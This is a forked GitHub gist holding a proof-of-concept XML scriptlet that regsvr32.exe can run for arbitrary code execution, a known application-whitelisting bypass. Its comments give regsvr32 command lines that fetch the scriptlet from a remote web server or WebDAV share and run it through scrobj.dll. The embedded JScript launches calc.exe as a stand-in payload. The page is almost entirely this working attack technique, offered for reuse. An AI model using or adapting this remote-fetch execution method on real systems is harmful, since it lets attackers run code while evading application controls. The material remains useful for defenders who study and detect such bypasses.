Skip to content

Instantly share code, notes, and snippets.

@minkione
Forked from Arno0x/regsvr32.sct
Created November 27, 2017 11:28
Show Gist options
  • Save minkione/6e95a7b3c969f6c85ed57854f062e32f to your computer and use it in GitHub Desktop.
Save minkione/6e95a7b3c969f6c85ed57854f062e32f to your computer and use it in GitHub Desktop.
A scriptlet that can be executed by regsvr32.exe for arbitrary code execution
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment